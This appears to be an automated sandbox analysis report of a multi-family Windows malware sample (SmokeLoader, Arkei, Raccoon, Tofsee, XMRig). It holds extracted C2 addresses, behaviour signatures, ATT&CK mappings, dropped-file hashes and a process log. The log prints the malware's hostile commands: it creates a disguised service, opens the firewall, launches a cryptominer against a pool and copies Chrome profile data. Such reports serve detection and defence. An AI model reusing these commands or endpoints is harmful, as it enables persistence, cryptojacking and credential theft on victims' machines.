Analysis

  • max time kernel
    151s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    17-01-2022 02:28

General

  • Target

    0b50bad9f4aaaaac830e0f4076363b672067553c622b62ebdc8538a74ff5a917.exe

  • Size

    278KB

  • MD5

    1df798bc0223e576741b0c02d50907a2

  • SHA1

    85f7eb9ea5520d7696f51eef8727e4e8a49947f5

  • SHA256

    0b50bad9f4aaaaac830e0f4076363b672067553c622b62ebdc8538a74ff5a917

  • SHA512

    e0bb1ff1f3a006eeffe85befcce6e58f725d7063bcf8996ffaa90a61c02a30800d2460cf03ada64a0ba30656d69c48ce2cb8c03f1fd8e457e14c3bc2557cdaff

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

arkei

Botnet

Default

C2

http://file-file-host4.com/tratata.php

Extracted

Family

tofsee

C2

patmushta.info

parubey.info

Extracted

Family

raccoon

Version

1.8.4-hotfixs

rc4.plain

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 1 IoCs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 14 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0b50bad9f4aaaaac830e0f4076363b672067553c622b62ebdc8538a74ff5a917.exe
    "C:\Users\Admin\AppData\Local\Temp\0b50bad9f4aaaaac830e0f4076363b672067553c622b62ebdc8538a74ff5a917.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2416
    • C:\Users\Admin\AppData\Local\Temp\0b50bad9f4aaaaac830e0f4076363b672067553c622b62ebdc8538a74ff5a917.exe
      "C:\Users\Admin\AppData\Local\Temp\0b50bad9f4aaaaac830e0f4076363b672067553c622b62ebdc8538a74ff5a917.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2892
  • C:\Users\Admin\AppData\Local\Temp\1F7A.exe
    C:\Users\Admin\AppData\Local\Temp\1F7A.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:2324
  • C:\Users\Admin\AppData\Local\Temp\3313.exe
    C:\Users\Admin\AppData\Local\Temp\3313.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3976
    • C:\Users\Admin\AppData\Local\Temp\3313.exe
      C:\Users\Admin\AppData\Local\Temp\3313.exe
      2⤵
      • Executes dropped EXE
      PID:524
  • C:\Users\Admin\AppData\Local\Temp\3779.exe
    C:\Users\Admin\AppData\Local\Temp\3779.exe
    1⤵
    • Executes dropped EXE
    PID:2900
  • C:\Users\Admin\AppData\Local\Temp\3A87.exe
    C:\Users\Admin\AppData\Local\Temp\3A87.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1324
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\drasasev\
      2⤵
        PID:680
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ctherxa.exe" C:\Windows\SysWOW64\drasasev\
        2⤵
          PID:920
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create drasasev binPath= "C:\Windows\SysWOW64\drasasev\ctherxa.exe /d\"C:\Users\Admin\AppData\Local\Temp\3A87.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1152
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description drasasev "wifi internet conection"
            2⤵
              PID:1248
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start drasasev
              2⤵
                PID:1760
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1252
              • C:\Users\Admin\AppData\Local\Temp\3C6D.exe
                C:\Users\Admin\AppData\Local\Temp\3C6D.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:400
                • C:\Users\Admin\AppData\Local\Temp\3C6D.exe
                  C:\Users\Admin\AppData\Local\Temp\3C6D.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1740
              • C:\Windows\SysWOW64\drasasev\ctherxa.exe
                C:\Windows\SysWOW64\drasasev\ctherxa.exe /d"C:\Users\Admin\AppData\Local\Temp\3A87.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1556
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3076
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:824
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                • Accesses Microsoft Outlook profiles
                • outlook_office_path
                • outlook_win_path
                PID:3244
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                1⤵
                  PID:3832
                • C:\Users\Admin\AppData\Local\Temp\A634.exe
                  C:\Users\Admin\AppData\Local\Temp\A634.exe
                  1⤵
                  • Executes dropped EXE
                  PID:3180
                • C:\Users\Admin\AppData\Local\Temp\AE63.exe
                  C:\Users\Admin\AppData\Local\Temp\AE63.exe
                  1⤵
                  • Executes dropped EXE
                  PID:612
                • C:\Users\Admin\AppData\Local\Temp\CBDE.exe
                  C:\Users\Admin\AppData\Local\Temp\CBDE.exe
                  1⤵
                  • Executes dropped EXE
                  PID:1792
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 1792 -s 400
                    2⤵
                    • Program crash
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1380
                • C:\Users\Admin\AppData\Local\Temp\DC79.exe
                  C:\Users\Admin\AppData\Local\Temp\DC79.exe
                  1⤵
                  • Executes dropped EXE
                  PID:2000
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 400
                    2⤵
                    • Program crash
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3732
                • C:\Users\Admin\AppData\Local\Temp\E276.exe
                  C:\Users\Admin\AppData\Local\Temp\E276.exe
                  1⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  PID:3924
                  • C:\Windows\system32\Robocopy.exe
                    "C:\Windows\system32\Robocopy.exe" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup"
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3064
                  • C:\Windows\system32\Robocopy.exe
                    "C:\Windows\system32\Robocopy.exe" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup\Default"
                    2⤵
                      PID:2988
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --silent-launch --mute-audio --load-extension="C:\Users\Admin\AppData\Roaming\Microsoft\Security\extension" --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup"
                      2⤵
                      • Enumerates system info in registry
                      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                      PID:3216
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd8,0xdc,0xe0,0xb4,0xe4,0x7ffffb1a4f50,0x7ffffb1a4f60,0x7ffffb1a4f70
                        3⤵
                          PID:2240
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --service-sandbox-type=network --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=1700 /prefetch:8
                          3⤵
                            PID:832
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2604 /prefetch:1
                            3⤵
                              PID:3564
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2596 /prefetch:1
                              3⤵
                                PID:436
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=2292 /prefetch:8
                                3⤵
                                  PID:372
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1660 /prefetch:2
                                  3⤵
                                    PID:744
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=3908 /prefetch:8
                                    3⤵
                                      PID:4264
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4260 /prefetch:8
                                      3⤵
                                        PID:4368
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4248 /prefetch:8
                                        3⤵
                                          PID:4400
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4500 /prefetch:8
                                          3⤵
                                            PID:4432
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4380 /prefetch:8
                                            3⤵
                                              PID:4464
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4640 /prefetch:8
                                              3⤵
                                                PID:4500
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4660 /prefetch:8
                                                3⤵
                                                  PID:4532
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4308 /prefetch:8
                                                  3⤵
                                                    PID:4568
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4980 /prefetch:8
                                                    3⤵
                                                      PID:4608
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4992 /prefetch:8
                                                      3⤵
                                                        PID:4600
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5184 /prefetch:1
                                                        3⤵
                                                          PID:4672
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=5176 /prefetch:8
                                                          3⤵
                                                            PID:4772
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5084 /prefetch:1
                                                            3⤵
                                                              PID:4816
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4556 /prefetch:1
                                                              3⤵
                                                                PID:4888
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4924 /prefetch:1
                                                                3⤵
                                                                  PID:4976
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --service-sandbox-type=audio --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4648 /prefetch:8
                                                                  3⤵
                                                                    PID:5048
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=1404 /prefetch:8
                                                                    3⤵
                                                                      PID:1532
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1640,10764450163180740544,14121429712456110789,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=2204 /prefetch:8
                                                                      3⤵
                                                                        PID:2900
                                                                  • C:\Users\Admin\AppData\Roaming\gftcgrg
                                                                    C:\Users\Admin\AppData\Roaming\gftcgrg
                                                                    1⤵
                                                                    • Executes dropped EXE
                                                                    • Checks SCSI registry key(s)
                                                                    • Suspicious behavior: MapViewOfSection
                                                                    PID:4748

                                                                  Network

                                                                  MITRE ATT&CK Matrix ATT&CK v6

                                                                  Persistence

                                                                  New Service

                                                                  1
                                                                  T1050

                                                                  Modify Existing Service

                                                                  1
                                                                  T1031

                                                                  Registry Run Keys / Startup Folder

                                                                  2
                                                                  T1060

                                                                  Privilege Escalation

                                                                  New Service

                                                                  1
                                                                  T1050

                                                                  Defense Evasion

                                                                  Disabling Security Tools

                                                                  1
                                                                  T1089

                                                                  Modify Registry

                                                                  3
                                                                  T1112

                                                                  Credential Access

                                                                  Credentials in Files

                                                                  2
                                                                  T1081

                                                                  Discovery

                                                                  Query Registry

                                                                  3
                                                                  T1012

                                                                  System Information Discovery

                                                                  3
                                                                  T1082

                                                                  Peripheral Device Discovery

                                                                  1
                                                                  T1120

                                                                  Collection

                                                                  Data from Local System

                                                                  2
                                                                  T1005

                                                                  Email Collection

                                                                  1
                                                                  T1114

                                                                  Command and Control

                                                                  Web Service

                                                                  1
                                                                  T1102

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup\CrashpadMetrics-active.pma
                                                                    MD5

                                                                    03c4f648043a88675a920425d824e1b3

                                                                    SHA1

                                                                    b98ce64ab5f7a187d19deb8f24ca4ab5d9720a6d

                                                                    SHA256

                                                                    f91dbb7c64b4582f529c968c480d2dce1c8727390482f31e4355a27bb3d9b450

                                                                    SHA512

                                                                    2473f21cf8747ec981db18fb42726c767bbcca8dd89fd05ffd2d844206a6e86da672967462ac714e6fb43cc84ac35fffcec7ddc43a9357c1f8ed9d14105e9192

                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup\Crashpad\settings.dat
                                                                    MD5

                                                                    9e4312f751e2d7af023a1b4b51370bf9

                                                                    SHA1

                                                                    ef1d2bec7f4a1d13a9b91c7a36239a8675b8286b

                                                                    SHA256

                                                                    4df52511e4c52adcd37252e64d7ead6732e20e8317871c5e5f78656014a07d1e

                                                                    SHA512

                                                                    0b94af732edb8b2b59aebc6ef22fb3d979be4bb60259dafaf1224f40ba48a007dc4d030cae4837ce2ac3d5fdc75ec581372c59939d254e999e78cf0685d71eaf

                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup\Default\Cookies
                                                                    MD5

                                                                    055c8c5c47424f3c2e7a6fc2ee904032

                                                                    SHA1

                                                                    5952781d22cff35d94861fac25d89a39af6d0a87

                                                                    SHA256

                                                                    531b3121bd59938df4933972344d936a67e75d8b1741807a8a51c898d185dd2a

                                                                    SHA512

                                                                    c2772893695f49cb185add62c35284779b20d45adc01184f1912613fa8b2d70c8e785f0d7cfa3bfaf1d2d58e7cdc74f4304fd973a956601927719d6d370dd57a

                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup\Default\Favicons
                                                                    MD5

                                                                    5688ce73407154729a65e71e4123ab21

                                                                    SHA1

                                                                    9a2bb4125d44f996af3ed51a71ee6f8ecd296bd7

                                                                    SHA256

                                                                    be1b822e970dfe1a120d248db7000eaf799bd6531929a1308676c70fe1608d60

                                                                    SHA512

                                                                    eb6452b23ea36c39d03ead154185616c13583f12f382cb2456beeb1ba6e5febdfd2a6f1064283cf115ad1c517dbf409777cdacb128e00c9d3f401335db355537

                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup\Default\History
                                                                    MD5

                                                                    4e2922249bf476fb3067795f2fa5e794

                                                                    SHA1

                                                                    d2db6b2759d9e650ae031eb62247d457ccaa57d2

                                                                    SHA256

                                                                    c2c17166e7468877d1e80822f8a5f35a7700ac0b68f3b369a1f4154ae4f811e1

                                                                    SHA512

                                                                    8e5e12daf11f9f6e73fb30f563c8f2a64bbc7bb9deffe4969e23081ec1c4073cdf6c74e8dbcc65a271142083ad8312ec7d59505c90e718a5228d369f4240e1da

                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup\Default\Login Data
                                                                    MD5

                                                                    b608d407fc15adea97c26936bc6f03f6

                                                                    SHA1

                                                                    953e7420801c76393902c0d6bb56148947e41571

                                                                    SHA256

                                                                    b281ce54125d4250a80f48fcc02a8eea53f2c35c3b726e2512c3d493da0013bf

                                                                    SHA512

                                                                    cc96ddf4bf90d6aaa9d86803cb2aa30cd8e9b295aee1bd5544b88aeab63dc60bb1d4641e846c9771bab51aabbfbcd984c6d3ee83b96f5b65d09c0841d464b9e4

                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup\Default\Media History
                                                                    MD5

                                                                    1ddfe694c682299567c25daee0cf2a04

                                                                    SHA1

                                                                    d32bb6199d95989525ce204a859780cca708142c

                                                                    SHA256

                                                                    2237a10a071315f272ac9eb9338ce9a83350739537a5cbf0f82bd5ac65e45968

                                                                    SHA512

                                                                    a1a09f7e4c919a758c38c8a789feac95dd17f07fc955ca83bd0e4af6ca053f5e205d6f55bcce380f83cbc5bd26e75457ce120fc287c13bd8b73b68e1610d11a6

                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup\Default\Network Persistent State
                                                                    MD5

                                                                    e060a8a3d362460873b450a5e250673c

                                                                    SHA1

                                                                    15b9015b776df48350c995acd5fb435e4beb2699

                                                                    SHA256

                                                                    a4376562eaa6d91bb7e06db41564346efae389f56ec170ee1df536a2826c9c6d

                                                                    SHA512

                                                                    a306859fdc2d47521412b32402f44647dfac86fde7b9b4906b343730b49bedddbd149d78b327af2bdc2157a2c871bb7b7db903ce40cac0b151dbe67b4e8d160d

                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup\Default\Preferences
                                                                    MD5

                                                                    cd1c548eb129ad4a5256c13d218a7d9a

                                                                    SHA1

                                                                    78426a9a550f05a3dadc976be8dd261392dd04bc

                                                                    SHA256

                                                                    117f4e603ed2cdc819c96c9f3b6a2218903e4c03b2ced03ef1cd399c030a1faf

                                                                    SHA512

                                                                    9c35d5cb701d2561ffc63f1246c7ebee79e9a7e158d215cd5dcad5c1df824b1ce1a28076f6ceedab5510c88e9a46bdb31e032df677c2c81cbb32456bdf2f140c

                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup\Default\Reporting and NEL
                                                                    MD5

                                                                    690f225d0aaa3b1e5ffc4b1a84e5da3b

                                                                    SHA1

                                                                    b31921f6e66d549b06226d8ef997d41af98f12b1

                                                                    SHA256

                                                                    a00bbffa2d1bf05522267a8201010723b03a0918001084b0136fb22dbdb9ce9d

                                                                    SHA512

                                                                    cb552648d96f0d38c2ffe205a317737bd431ed67814a98b919c12a5e7a8a3e22c4c84bed12add557b7a86bd613146de42a4f3dace39225396735d12729e4c6a9

                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup\Default\Secure Preferences
                                                                    MD5

                                                                    88ac35e14c557fb08aadd2c0f6e3ca80

                                                                    SHA1

                                                                    0b4f36e58ae01ae61cc14dc0044e6fb6fb3a243b

                                                                    SHA256

                                                                    ab9d548dbfbad50a76526689f0f0d2a57e45148efaae58b44daf792f96998074

                                                                    SHA512

                                                                    e38209878f56ffe39a45f814a228a2d6e108a370feff62adce7aef511459cccd30e3195e575dd6043b3818be31caaca1bcfad5d81dda790b1af215bf31d37dd3

                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup\Default\Top Sites
                                                                    MD5

                                                                    9048adc11b40da3679e854f2aaee2813

                                                                    SHA1
